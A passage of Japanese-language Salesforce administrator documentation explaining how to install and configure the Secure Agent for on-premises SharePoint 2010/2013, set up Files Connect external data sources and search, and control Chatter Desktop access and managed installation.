ヒント: 順を追った視覚的説明については、セキュアエージェントの設定のビデオチュートリアルをご覧
ください。

セキュアエージェントの接続アプリケーションを作成する
1. [設定] から、[クイック検索]ボックスに「アプリケーション」と入力し、[アプリケーション]を選択します。
2. [接続アプリケーション] セクションで、[新規] をクリックします。
3. [基本情報] セクションで、次の設定を入力します。

• 接続アプリケーション名  — 「Secure Agent App」(セキュアエージェントアプリケーション) などのわかり
やすい名前を入力します。

• API 参照名  — デフォルト値のままにします。
• 取引先責任者 メール  — システム管理者のアドレスを入力します。

4. API セクションで、[OAuth 設定の有効化] を選択し、次の設定を入力します。
• コールバック URL  — 本番インスタンスの場合は https://login.salesforce.com、Sandbox の場合は

https://test.salesforce.com と入力します。
• デジタル署名を使用  — このオプションをオフにします。
• 選択した OAuth 範囲  — [データへのアクセスと管理] (api) および [ユーザに代わっていつでも要求を実

行] (refresh_token、offline_access) を追加します。
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5. [保存] をクリックします。
6. [設定] から、[クイック検索]ボックスに「接続アプリケーション」と入力し、接続アプリケーションを管理

するためのオプションを選択します。
7. 新しいアプリケーションの横で、[編集] をクリックし、次の設定を入力します。

• 許可されているユーザ  — [管理者が承認したユーザは事前承認済み] を選択します。
• IP 制限の緩和  — [IP 制限の緩和] を選択します。

8. [保存] をクリックします。

セキュアエージェントに固有のプロファイルおよびユーザを作成する
1. [設定] から、[クイック検索] ボックスに「プロファイル」と入力し、[プロファイル] を選択します。
2. [標準ユーザ] プロファイルの横で、[コピー] をクリックします。
3. [プロファイル名] に、「Secure Agent profile」(セキュアエージェントプロファイル) などのわかりやすい名前

を入力します。
4. [保存] をクリックします。
5. 新しいプロファイルの横で、[編集] をクリックします。
6. [接続アプリケーションへのアクセス] セクションで、エージェント用に作成した接続アプリケーションを

選択します。
7. [システム管理者権限] セクションで、[セキュアエージェントを変更] を選択します。
8. [保存] をクリックします。
9. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選択します。
10. [新規ユーザ] をクリックします。
11. [プロファイル] で、エージェント用に作成したプロファイルを選択します。次に、残りの必須項目を入力

して [保存] をクリックします。

重要:  [パスワードをリセットしてユーザに通知する] がオフになっていることを確認します。

Salesforce にエージェントを作成してインストーラをサーバにダウンロードす
る
1. [設定] から、[クイック検索] ボックスに「セキュアエージェント」と入力し、[セキュアエージェント] を選

択します。
2. [新規セキュアエージェント] をクリックします。
3. ユーザインターフェースの [表示ラベル] と API の [名前] を入力します。

メモ: 表示ラベルは変更できないため、注意して選択してください。Salesforce では、エージェントと
の接続を保持するため一貫性のある表示ラベルに依存しています。

4. [プロキシユーザ] に、セキュアエージェント用に作成したユーザを入力します。
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5. [保存] をクリックします。
6. 詳細ページで、[インストーラをダウンロード] をクリックし、[Linux エージェント] または [Windows エー

ジェント] をクリックします。
7. [設定] から、[クイック検索] ボックスに「アプリケーション」と入力し、[アプリケーション] を選択し、作

成した接続アプリケーションの名前をクリックします。次に、API セクションで、コンシューマキーの値を
テキストファイルにコピーします。

8. このテキストファイルとダウンロードしたインストーラファイル (Windows の場合は sfdc-agent.zip、Linux の場
合は sfdc-agent.run) をサーバにコピーします。

重要: サーバから Salesforce と社内データソースの両方にアクセスでき、サーバに Java 6.x または 7.x がイ
ンストールされていることを確認します。

エージェントを Windows Server にインストールして実行する
1. sfdc-agent.zip のファイルを抽出します。次に、SecureAgentInstaller.exe をダブルクリックします。
2. [次へ]をクリックして、インストールフォルダを入力します。[次へ]を再度クリックして、初期インストー

ルを終了します。
3. 設定ウィンドウが表示されたら、Salesforce への接続に使用するプロキシ設定を入力します。

ヒント:  (新しいパスワードなどのため) インストール後にプロキシ設定を変更するには、エージェント
インターフェースで agent:proxyconfig コマンドを入力します。

4. ログインサーバ種別には、[本番] または [Sandbox] を選択します。

ヒント: この値や次の設定を後から変更する場合は、エージェントをアンインストールして再インス
トールする必要があります。

5. Oauth クライアントキーには、テキストファイルにコピーしたコンシューマキーの値を入力します。
6. 暗号化設定については、次のいずれかを選択します。

• [生成] を選択すると、1,024 ビットの公開/非公開鍵のペアがランダムに生成されます。別の鍵サイズが
必要な場合は、「既存の証明書を再使用する」の設定を参照してください。生成されたら、表示されて
いる *.509 証明書ファイルへのパスを書き留めます。Salesforce 接続アプリケーションでこのパスを参照し
ます。

• [既存のキーストアを再利用する]を選択すると、エージェントの以前のインストール時の鍵のペアが再
利用されます。キーストアは、[agent installation folder]\etc\auth.jks に格納されていま
す。

メモ: 既存のキーストアを選択する場合は、ステップ 10 に進みます。

• [既存の証明書を再使用する]を選択すると、独自の証明書と非公開鍵が選択されます。このオプション
により、異なる鍵サイズを使用できます。詳細は、Salesforce にお問い合わせください。

7. Salesforce の [設定] から、[クイック検索] ボックスに「アプリケーション」と入力し、[アプリケーション] を
選択します。

8. 接続アプリケーションの横にある [編集] をクリックし、[デジタル署名を使用] を選択します。
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9. [ファイルを選択] をクリックし、*.509 証明書を選択します。その後 [保存] をクリックします。
10. エージェントインストーラに戻り、[次へ] をクリックしてインストールを完了します。
11. [エージェントをサービスとしてインストール] をクリックして、サーバで「Salesforce セキュアエージェン

ト」サービスを開始します。

ヒント:  Windows でサービスにアクセスするには、[開始] > [管理ツール] > [サービス] を選択します。

エージェントを Linux にインストールして実行する
1. 次のいずれかのコマンドを使用してインストーラを実行します。

• 本番インスタンス:

./sfdc-agent.run

• Sandbox インスタンス:

./sfdc-agent.run -l https://test.salesforce.com

• 独自の公開/非公開鍵のペアを使用する本番インスタンス:

./sfdc-agent.run –l https://login.salesforce.com -p [private key filename].PKCS8 -f
[public key filename].X509

• 以前のインストール時に生成されたキーストアを使用する本番インスタンス:

./sfdc-agent.run –l https://login.salesforce.com -j [path to *.jks file]

*.jks ファイルは、[agent installation folder]/etc/auth.jks に格納されています。

2. 画面の指示に従って、インストールフォルダとプロキシ設定を入力します。

ヒント: インストール後にプロキシ設定を変更するには、エージェントインターフェースで
agent:proxyconfig コマンドを入力します。

3. インストーラから Oauth クライアントキーを要求された場合、テキストファイルにコピーしたコンシュー
マキーの値を入力します。

メモ: 以前のインストール時に生成されたキーストアを指定した場合は、ステップ 8 に進みます。

4. プロンプトが表示されたら、1,024 ビットの公開/非公開鍵のペアをランダムに生成します。生成されたら、
表示されている *.509 証明書ファイルへのパスを書き留めます。Salesforce 接続アプリケーションでこのパス
を参照します。

メモ: 異なる鍵サイズを使用する必要がある場合は、Salesforce にお問い合わせください。

5. Salesforce の [設定] から、[クイック検索] ボックスに「アプリケーション」と入力し、[アプリケーション] を
選択します。

6. 接続アプリケーションの横にある [編集] をクリックし、[デジタル署名を使用] を選択します。
7. [ファイルを選択] をクリックし、*.509 証明書を選択します。その後 [保存] をクリックします。
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8. エージェントインストーラに戻り、Enter キーを押してインストールを完了します。
9. [agent installation folder]/bin/start コマンドを使用してエージェントを開始します。

社内データソースのセキュアエージェントプラグインをインストールする
セキュアエージェントを Salesforce の外部データソースに接続するには、必要なプラグインをインストールする
必要があります。
1. [設定] から、[クイック検索] ボックスに「セキュアエージェント」と入力し、[セキュアエージェント] を選

択します。
2. エージェント名をクリックして詳細ページにアクセスします。
3. [セキュアエージェントプラグイン] リストで、[新規] をクリックします。

SharePoint 2010 または 2013 の場合、次のプラグインをインストールする必要があります。
• Files Connect SharePoint

• Files Connect Remote Connector Service

• Secure Transport Client Service

4. プラグインをインストールするには、[種別] メニューからプラグインを選択し、わかりやすい名前を入力
して、[保存] をクリックします。必要なプラグインごとにこのプロセスを繰り返します。

以前にインストールしたプラグインを更新する
プラグインの更新を入手可能な場合は、週に 1 回システム管理者にメール通知が送信されます。
1. [設定] から、[クイック検索] ボックスに「セキュアエージェント」と入力し、[セキュアエージェント] を選

択します。
2. [セキュアエージェントプラグイン] リストの [更新できます] 列の状態が [はい] の場合は、そのプラグインの

[編集] をクリックします。
3. [保存時に推奨バージョンに更新] を選択して、[保存] をクリックします。

必要な証明書をインポートする
エージェントインターフェースでは、Tab キーを押して、さまざまなコマンドにアクセスできます。SharePoint

サーバから、自己署名証明書または非公式な認証機関によって署名された証明書を要求された場合、
rcs:importcert コマンドを使用する必要があります。次に、パスを入力して、自己署名証明書または認証
機関のルート証明書をセキュアエージェントの信頼ストアにインポートします。
rcs:listcert コマンドでは、現在信頼ストアにあるすべての証明書がリストされ、rcs:deletecert コマ
ンドでは、指定した証明書がストアから削除されます。

セキュアエージェントのアクティビティを追跡およびトラブルシューティング
する
ログファイルをダウンロードして、エージェントのイベントを厳密に監視します。

4238

SharePoint 2010 または 2013 のセキュアエージェントの
設定

コラボレーションツールの設定および管理



1. [設定] から、[クイック検索] ボックスに「セキュアエージェント」と入力し、[セキュアエージェント] を選
択します。

2. 前に作成したセキュアエージェントの名前をクリックして、詳細ページを開きます。
3. 次のいずれかをクリックします。

• [ログをダウンロード] をクリックすると、テキストログを含む .zip 圧縮ファイルがダウンロードされま
す。

• [診断をダウンロード] をクリックすると、インストールされているプラグインや Java 仮想マシンの状況
など、エージェントの現在の状態が表示されます。

セキュアエージェントクラスタを使用したアクセスの確保
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

セキュアエージェントク
ラスタを設定する
• 「アプリケーションの

カスタマイズ」

セキュアエージェントクラスタは、フェイルオーバ保護を提供して、Salesforce

ユーザが常に SharePoint 2010 または 2013 などの社内の外部データソースにアクセ
スできるようにします。

メモ: セキュアエージェントの設定プロセスには、有料の権限セットライ
センス「社内の外部データソース用 Files Connect」が必要です。権限セット
ライセンスについての詳細は、Salesforce ヘルプを参照してください。

セキュアエージェントクラスタの作成
1. 異なるサーバ上に複数のセキュアエージェントを作成するには、「セキュア

エージェントを設定する」のプロセスを繰り返します。
2. [設定] から、[クイック検索]ボックスに「セキュアエージェントクラスタ」と

入力し、[セキュアエージェントクラスタ] を選択します。
3. [新規セキュアエージェントクラスタ] をクリックします。
4. ユーザインターフェースの [表示ラベル] と API の [名前] を入力します。
5. 使用可能なエージェントをクラスタに追加するには、エージェントを選択

し、[追加] をクリックします。
エージェントが使用される優先順位を変更するには、[選択されたセキュア
エージェント] リストでエージェントを上または下に移動します。アクセス可能なエージェントが優先順位
の高い順に使用されます。

6. [保存] をクリックします。

クラスタ状況の確認
1. [設定] から、[クイック検索]ボックスに「セキュアエージェントクラスタ」と入力し、[セキュアエージェン

トクラスタ] を選択します。
2. クラスタ名をクリックして詳細ページにアクセスします。
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3. クラスタのすべての状況をメモします。緑色はすべてのエージェントがアクセス可能になっていることを
示します。黄色は一部のエージェントがアクセス可能になっていることを示し、赤色はどのエージェント
もアクセス可能ではないことを示します。

4. 個々のエージェントの状況と次の詳細をメモします。
• [優先度] 列には、エージェントの使用順序が表示されます。優先度を変更するには、[編集] をクリック

し、[選択されたセキュアエージェント] リストのエージェントを上下に移動します。
• [有効] 列には、現在使用されているエージェントが示されます。

SharePoint 2010 または 2013 の外部データソースの定義
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

外部データソースを定義
する
• 「アプリケーションの

カスタマイズ」

Salesforce が社内システムにあるデータにアクセスできるようにします。Files Connect

と Chatter を使用すると可能です。Files Connect (社内) ソリューションは、ライセ
ンスをすでに所有しているお客様のみ使用できます。

メモ: この設定プロセスは、有料の権限セットライセンス「社内の外部デー
タソース用 Files Connect」を所有するお客様のみが使用できます。このライ
センスは購入できなくなりました。

1. [設定] から、[クイック検索] ボックスに「外部データソース」と入力し、[外
部データソース] を選択します。

2. [新規External Data Source]をクリックします。次のオプションを設定します。

説明項目

Salesforce ユーザインターフェースに
表示される、データソースのわかり
やすい名前。

表示ラベル

API を介してこの外部データソース定
義を参照するために使用される一意
の識別子。[名前]項目には、アンダー
スコアと英数字のみを使用できます。

名前

一意であること、最初は文字である
こと、空白は使用しない、最後にア
ンダースコアを使用しない、2 つ続け
てアンダースコアを使用しないとい
う制約があります。

[Files Connect: Microsoft SharePoint] を
選択します。

種類

イントラネットの Linux または Windows

サーバで実行されているサービスを
セキュアエージェント

使用して、Salesforce を社内の SharePoint

サーバにセキュアに接続します。
「SharePoint 2010 または 2013 のセキュ
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説明項目

アエージェントの設定」を参照してください。

SharePoint サイト、サイトコレクション、または Web

アプリケーションの URL。
サイトの URL

重要:  URL は httpsで始まり、サイト名で終わる
必要があります (SharePoint へのアクセス時にブ
ラウザに表示される URL をコピーしないでく
ださい)。

外部データソースの認証に使用する ID タイプ。
データソースにアクセスするユーザごとに別個のロ
グイン情報を要求するには、[ユーザ] を選択します

ID 種別

(システム管理者は、特定の権限セットとプロファイ
ルでデータソースを有効にする必要があります。
ユーザは最初にデータソースにアクセスするときに
自分のログイン情報を入力します)。
Salesforce からデータソースにアクセスするすべての
ユーザに対して同じログイン情報のセットを使用す
るには、[指定ユーザ] を選択します。

SharePoint へのアクセスに必要なプロトコル。
[パスワード認証] を選択します

認証プロトコル

(このオプションは HTTP Basic および NTLM 認証をサ
ポートします)。

Salesforceが SharePoint への接続をテストするために使
用するユーザ名。SharePoint システム管理者のユーザ

管理者ユーザ名

名を入力する必要はありません。ただし、使用する
ログイン情報に、データソースへのアクセス、検索
の実行、情報の復帰を行うための十分な権限がある
ことを確認してください。

Salesforceが SharePoint への接続をテストするために使
用するパスワード。

管理者パスワード

メモ:  Web アプリケーションで匿名アクセスが有効化されている場合、Salesforceユーザは SharePoint 2010

にアクセスできません。

関連トピック:

Files Connect の設定プロセス
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グローバル検索での Files Connect データソースの追加
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

クラウドベースの外部
データソース用 Files
Connect を使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

有料オプションで社内の
外部データソース用 Files
Connect を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

外部オブジェクトを作成
し、その項目へのアクセ
スを提供する
• 「アプリケーションの

カスタマイズ」

Salesforce データと、Google ドライブ、SharePoint、または OneDrive for Business の外
部データを一緒に検索します。開発者は、APIとサポートされる SOQL または SOSL

クエリを使用してプロセスを自動化できます。
グローバル検索またはAPIクエリに外部データを追加するには、まず関連外部オ
ブジェクトを作成します。外部オブジェクトは、カスタムオブジェクトと同様
に動作しますが、Salesforce 以外の SharePoint のような外部システムに保存されて
いるデータに対応付けられます。各外部オブジェクトはデータテーブルに対応
付けられ、オブジェクト項目はアクセス可能なテーブル列に対応付けられます。

ヒント: 外部オブジェクトでは、カスタムオブジェクトと同様の参照関係
がサポートされ、Salesforce のどこででも外部データを関連リストやその他
の領域に統合できます。詳細は、「外部オブジェクトリレーション」を参
照してください。

グローバル検索を完全に設定するには、次の手順を実行します。
1. グローバル検索結果のレイアウトの選択
2. 外部データソースからの外部オブジェクトの作成
3. 外部オブジェクト項目へのアクセス権のユーザへの付与
SOQL または SOSL で検索を自動化するには、データソースでサポートされるクエ
リを確認します。
• SharePoint および OneDrive 外部オブジェクトでの SOQL および SOSL サポート
• Google ドライブ外部オブジェクトでの SOQL および SOSL サポート

グローバル検索結果のレイアウトの選択
デフォルトでは、Files Connect 外部オブジェクトは、Chatter の標準の検索結果レ
イアウトと [ファイル] タブを使用します。これらのオブジェクトにカスタマイ
ズした検索レイアウトを表示する場合は、次の簡易手順を実行してください。
1. [設定] から、[クイック検索] ボックスに「Files Connect 設定」と入力し、[Files Connect 設定] を選択し

ます。
2. [外部オブジェクト検索レイアウトを使用]を選択します。

外部データソースからの外部オブジェクトの作成
1. 検索をサポートする外部データソースを定義します。

• SharePoint Online または OneDrive for Business

• SharePoint 2010 または 2013

• Google ドライブ
• Box

2. [設定] から、[クイック検索]ボックスに「外部データソース」と入力し、[外部データソース]を選択します。
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3. データソース名をクリックして詳細ページにアクセスします。
4. [検証して同期] をクリックします。

メモ: 注意: [検証して同期]ボタンが無効になっている場合、[外部システムの認証設定] (ページ 6445)を
編集して [保存時に認証フローを開始] チェックボックスをオンにします。

5. 「items_[data source]」という名前のテーブルを選択します。[同期] をクリックしてソース全体に対応付ける
外部オブジェクトを作成します。
次に、オブジェクトをリリースして、含まれているデータをユーザが使用できるようにします。

6. [ビルド] > [開発] > [外部オブジェクト] を選択します。
7. 新しい外部オブジェクトの横にある [編集] をクリックします。
8. ページ下部で [リリース済み] をクリックし、[保存] をクリックします。

外部オブジェクト項目へのアクセス権のユーザへの付与
1. [設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セット] を選択します。
2. Files Connect が有効化されている権限セットをクリックします。
3. [アプリケーション] セクションで、[オブジェクト設定] をクリックします。
4. 外部オブジェクトの名前をクリックします。
5. [編集]をクリックし、必要な (オブジェクト自体、Salesforce で公開するすべての項目の)「参照」権限を有効

化します。
6. [保存] をクリックします。

SharePoint および OneDrive 外部オブジェクトでの SOQL および SOSL サポート
SharePoint および OneDrive 外部オブジェクトでは、次の標準項目と、有効化したカスタム項目がサポートされま
す。

メモ: 特定の項目へのクエリでは、外部データソースでインデックス付けされたドキュメントのみが返さ
れます。

並び替え可能クエリ可能項目名

○○Author

○×Comment

○○ContentLength

○○CreationDate

○×DisplayUrl

××DownloadUrl

○○ExternalId
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並び替え可能クエリ可能項目名

○○IsFolder

メモ:  SharePoint 2010 または
2013 のサポート対象外。

○○MimeType

○○Name

○○UpdateDate

○○UpdatedBy

メモ: ParentId_cをクエリ条件として使用してフォルダ内のドキュメントのリストを取得することもで
きます。ただし、クエリで ParentId__c 値を指定しない限り、その項目は結果に表示されません。

Google ドライブ外部オブジェクトでの SOQL および SOSL サポート
Files Connect では、Google ドライブのすべての標準プロパティがサポートされますが、カスタムプロパティはサ
ポートされません。Salesforce 外部オブジェクトでは、次のプロパティに異なる項目名が付けられています。

Salesforce 項目Google プロパティ

DisplayUrlalternateLink

CreationDatecreateDate

Commentdescription

contentStreamUridownloadURL

readOnlyeditable

ContentLengthfileSize

ExternalIdid

UpdatedBylastModifyingUserName

MimeTypemimeType

UpdateDatemodifiedDate

AuthorownerNames

contentStreamFileNameoriginalFilename

Nametitle

次の項目のサブセットでは、SOQL および SOSL クエリがサポートされます (Google ドライブ API の制限を反映し
てどちらも並び替え不可)。
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• CreationDate

• lastViewedByMeDate

• MimeType

• Name

メモ: [名前] 項目に対する Google ドライブクエリでサポートされるワイルドカードは 1 つのみ (%) で
す。このワイルドカードを使用して検索すると、名前の前方のみが一致します。たとえば、タイトル
「HelloWorld」は、クエリ Name LIKE "Hello%" では返されますが、Name LIKE "%World" では返
されません。

• sharedWithMe

メモ: 値が「false」の sharedWithMe 項目に対するクエリはサポートされず、機密データは保護され
ます。

• starred

• UpdateDate

関連トピック:

Files Connect の設定プロセス
検索、SOQL、および SOSL クエリへの SharePoint カスタムプロパティの追加
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検索、SOQL、および SOSL クエリへの SharePoint カスタムプロパティ
の追加

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

クラウドベースの外部
データソース用 Files
Connect を使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

有料オプションで社内の
外部データソース用 Files
Connect を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

外部オブジェクトを作成
し、その項目へのアクセ
スを提供する
• 「アプリケーションの

カスタマイズ」

SharePoint データソースの外部オブジェクトを作成したら、含まれているカスタ
ムプロパティを検索またはクエリするために特別な手順を実行する必要があり
ます。

SharePoint のカスタムプロパティの設定
Salesforce の外部オブジェクトを使用すると、SharePoint から次のカスタムプロパ
ティで選択および絞り込みができます。
• カスタムコンテンツタイプで定義されたカスタム列
• Microsoft Word、Excel、およびその他の Office ドキュメントのメタデータ
Salesforce でこれらのカスタムプロパティを検索するには、対応する管理プロパ
ティが Sharepoint システム管理者によって作成されている必要があります。
• これらのプロパティを外部オブジェクト項目で表示するか、SOQL または SOSL

の SELECT クエリで使用するには、対応する管理プロパティを [取得可能]

に設定します (Sharepoint 2010 では、このオプションに [範囲内でこのプロパ
ティを使用できるようにする] という表示ラベルが付いています)。

• 外部オブジェクトのこれらのプロパティで絞り込むか、これらのプロパティ
を SOQL または SOSL の WHERE句でクエリ条件として使用するには、対応する
管理プロパティを [クエリ可能] に設定します。

取得した項目の Salesforce でのクエリ
上記の例では、CustomProperty はカスタムコンテンツタイプで定義されたカ
スタム列名か、Office ドキュメントのメタデータ名を表します。
ManagedCustomProperty は、対応する管理プロパティ名を表します。
SharePoint 2010

SELECT句では CustomProperty、WHERE句では ManagedCustomProperty

を使用します。Salesforce では、外部オブジェクトに対応する項目が選択用に
1 つ、絞り込み用にもう 1 つ、合わせて 2 つ存在する必要があります。
SOQL の例を次に示します。
SELECT CustomProperty FROM items_sp2010_x WHERE ManagedCustomProperty=...

SharePoint 2013 および Online

ほとんどの場合、ManagedCustomProperty を SELECT 句と WHERE 句の両方に使用できます。
SOQL の例を次に示します。
SELECT ManagedCustomProperty FROM items_sp2013_x WHERE ManagedCustomProperty=...
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ただし、.jpg、.png、.pdf ファイルなど、SharePoint がインデックス付けしない種類のファイルの場合、SELECT

句では CustomProperty、WHERE 句では ManagedCustomProperty を使用する必要があります。回避策
として、SharePoint の管理プロパティに別名を定義して、クエリを次のような形式にすることができます。
SELECT Alias FROM items_sp2013/Online WHERE Alias=...

ヒント: 通常、カスタムプロパティは、外部オブジェクト詳細ページには表示されません。別名を定
義するとこの問題にも対処できます。

Boolean 型のカスタムプロパティ
対応する管理プロパティが Text 型に設定された Boolean 型 (はい/いいえ) のカスタムプロパティを使用する場合、
対応する外部オブジェクト項目も Text 型に設定する必要があります。検索条件で、値「0」と「1」はそれぞれ
false と true に対応します。次に例を示します。
WHERE customBooleanWithTextManagedProperty=”1”

ただし、「0」と「1」も結果として表示されるため、Boolean 型のカスタムプロパティでは、はい/いいえ型の
管理プロパティを使用する必要があります。対応する外部オブジェクト項目を、標準の true または false

値でクエリするために Checkbox に設定します。次に例を示します。
WHERE customBooleanWithYesNoManagedProperty=true

Microsoft Office ドキュメントのメタデータ
Sharepoint Search サービスは、Office ドキュメントからすべてのメタデータを文字列として返すため、対応する
外部オブジェクト項目が Text 型に設定されている必要があります。
日付は MM/DD/YYYY hh:mm:ss AM/PM 形式で返されます (例:「3/31/2015 9:59:00 PM」)。Date 型を使用して項目をクエ
リするには、外部オブジェクトには対応する絞り込み用の Date 型項目と選択用の Text 型項目が含まれている必
要があります。

Salesforce での特定の SharePoint プロパティ種別に対する制限
すべてのバージョン

• Number、Currency、および Choice multiple プロパティは、SharePoint が検索用のインデックス付けを行わな
い種類のファイルには選択できません。デフォルトで、このファイルに該当するのは画像、動画、.pdf

ファイルなどですが、.pdf ファイルは SharePoint 2013 以降ネイティブでインデックス付けされます。
SharePoint 2010

• Numbers、Choice multiple、および Currency プロパティは選択できません。
• Date プロパティは選択できますが、結果が UTC (協定世界時) 形式で設定される可能性が低いため、値に

予期しないタイムゾーンが反映されることがあります。
SharePoint 2013

• Multiple Line of Text、URL、Date、および Choice Dropdown プロパティはクエリできません。
• Choice Dropdown、Choice multiple、URL、Date プロパティは選択できません。
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SharePoint Online

• Multiple Line of Text、URL、および Date プロパティはクエリできません。
• Choice multiple および URL プロパティは選択できません。

関連トピック:

グローバル検索での Files Connect データソースの追加

単純な URL 外部データソースの定義
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

外部データソースを定義
する
• 「アプリケーションの

カスタマイズ」

組織で Chatter が有効化されている場合、Salesforce は、別の Web ドメインでホス
トされているデータにアクセスして [ファイル] タブとフィードで使用できます。
1. [設定] から、[クイック検索] ボックスに「外部データソース」と入力し、[外

部データソース] を選択します。
2. [新規External Data Source]をクリックします。次のオプションを設定します。

説明項目

Salesforce ユーザインターフェースに
表示される、データソースのわかり
やすい名前。

表示ラベル

API を介してこの外部データソース定
義を参照するために使用される一意
の識別子。[名前]項目には、アンダー
スコアと英数字のみを使用できます。
一意であること、最初は文字である
こと、空白は使用しない、最後にア
ンダースコアを使用しない、2 つ続け

名前

てアンダースコアを使用しないとい
う制約があります。

[単純な URL] を選択します。種類

Salesforce 以外でデータをホストして
いるサーバの URL。http://またはhttps://

で始まる必要があります。

URL

SharePoint® Online®に使用します。メタ
データにアクセスできない場合、こ

デフォルトの外部リポジトリ

の項目を使用してテーブルとデフォ
ルトのテーブル項目を作成します。
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説明項目

Salesforce ユーザインターフェースでデータソースを
識別しやすいようにアイコンを指定します。
最初にアイコンをSalesforceの静的リソースとして定
義します。詳細は、「静的リソースの定義」を参照
してください。

大きいアイコン

Salesforce ユーザインターフェースでデータソースを
識別しやすいようにアイコンを指定します。
最初にアイコンをSalesforceの静的リソースとして定
義します。詳細は、「静的リソースの定義」を参照
してください。

小さいアイコン

外部データソースの認証に使用する ID タイプ。
[匿名]を選択します。この場合、ユーザはデータソー
スにアクセスするときにログイン情報の入力を要求
されません。

ID 種別

データソースへのアクセスに必要なプロトコル。
[認証なし] を選択します。

認証プロトコル

メモ: 単純な URL データソースはグローバル検索に含めることができないため、[検証して同期] オプショ
ンはサポートされません。

メモ: 単純な URL のデータソースから作成された外部オブジェクトに対して SOQL クエリは実行できませ
ん。

Chatter デスクトップ

Chatter デスクトップへのアクセスを制御し、Chatter デスクトップ管理バージョンのインストールと設定を行い
ます。

Chatter デスクトップへのアクセスの制御
Chatter デスクトップは、ほとんどの組織に対して有効になっていますが、システム管理者は Chatter デスク
トップへのアクセスを制御できます。
Chatter デスクトップ管理バージョンのインストール
Salesforceでは、個人でインストールする標準バージョンと企業リリース向けの管理バージョンの、2 種類の
Chatter デスクトップインストーラを用意しています。
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Chatter デスクトップ管理バージョンの設定
XML ベースの設定ファイルを各ユーザのマシンにリリースすることで、Chatter デスクトップの設定を管理
できます。ファイル内の設定によってユーザの設定が上書きされます。
コードスニペットを使用する権限の有効化と割り当て
Lightning Experience と、カスタマーサービス (Napili) テンプレートに基づくセルフサービスコミュニティで、
パブリッシャーによって構文を強調表示したコードサンプルを入力するには、 コードスニペットを使用し
ます。 コードスニペットを利用できるようにするには、有効にして使用するための権限を割り当てます。
コードスニペット権限を有効にして割り当てる方法は 2 つあります。1 つはユーザプロファイル (ステップ
1) を使用する方法、もう 1 つは権限セット (ステップ 2) を使用する方法です。

Chatter デスクトップへのアクセスの制御
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Developer Edition、および
Database.com Edition

Salesforce CRM、承認、
Chatter メール通知、
Chatter への招待、顧客招
待は、Database.com
Edition では利用できませ
ん。

Chatter デスクトップは、ほとんどの組織に対して有効になっていますが、シス
テム管理者は Chatter デスクトップへのアクセスを制御できます。
1. [設定] から、[クイック検索] ボックスに「Chatter デスクトップ設定」と入

力し、[Chatter デスクトップ設定] を選択します。
2. ユーザが Chatter デスクトップから Chatter データにアクセスできるようにする

には、[Chatter デスクトップを有効化] を選択します。
Chatter デスクトップの自己インストールページへのアクセスをブロックし、
Chatter デスクトップのすべてのインスタンスが Chatter データにアクセスでき
ないようにするには、このオプションの選択を解除します。

3. システム管理者以外が Chatter デスクトップをインストールできないようにす
るには、[Chatter デスクトップに管理インストールのみを許可]を選択しま
す。
たとえば、IT 部門が Chatter デスクトップの組織へのリリースを計画している
場合は、このオプションを選択します。

4. 変更内容を保存します。

関連トピック:

Salesforce Chatter

Chatter デスクトップ管理バージョンのインストール
Chatter デスクトップ管理バージョンの設定
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Chatter デスクトップ管理バージョンのインストール
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Developer Edition、および
Database.com Edition

Salesforce CRM、承認、
Chatter メール通知、
Chatter への招待、顧客招
待は、Database.com
Edition では利用できませ
ん。

Salesforce では、個人でインストールする標準バージョンと企業リリース向けの
管理バージョンの、2 種類の Chatter デスクトップインストーラを用意していま
す。
Chatter デスクトップを使用する最小要件は次のとおりです。
• Windows

– ネットブックデバイス用の 2.33GHz 以上の x86 互換プロセッサ、または Intel

Atom™ 1.6GHz 以上のプロセッサ
– Microsoft® Windows® XP、Windows Server® 2003、Windows Server 2008、Windows

Vista® Home Premium、Business、Ultimate、または Enterprise (64 ビット Edition を
含む) Service Pack 2、または Windows 7

– 512MB の RAM (推奨: 1GB)

• Mac

– Intel® Core™ Duo 1.83GHz 以上のプロセッサ
– Mac OS X v 10.5、10.6、または v10.7

– 512MB の RAM (推奨: 1GB)

重要: Chatter デスクトップは、Adobe 社のデスクトップアプリケーション向
けクロスプラットフォームランタイム環境である Adobe® Integrated Runtime

(AIR®) を使用しており、Adobe AIR がサポートするオペレーティングシステム
上でのみ実行できます。Chatter デスクトップを、Adobe AIR がサポートして
いないオペレーティングシステム (64 ビット Linux など) で実行することはで
きません。Adobe AIR の詳細は、Adobe Web サイトを参照してください。

Chatter デスクトップの管理バージョンは、使用するマシンの管理者権限を持たないユーザに Chatter デスクトッ
プをリリースする場合に最適です。管理バージョンには次のような特徴があります。
• AIR は自動的にはインストールされず、Chatter デスクトップをリリースする前に、IT 部門が Adobe Systems

Incorporated から再配布の許可を得て、必要なバージョンの AIR をリリースする必要がある
• Chatter デスクトップがリリースされるユーザに代わって、IT 部門が Chatter デスクトップ管理バージョンの

エンドユーザ使用許諾契約に同意することが必要
• Chatter デスクトップの初回起動時に、Chatter に自動的に投稿されることはない
• Salesforce に新バージョンがあるかどうか定期的にチェックしない
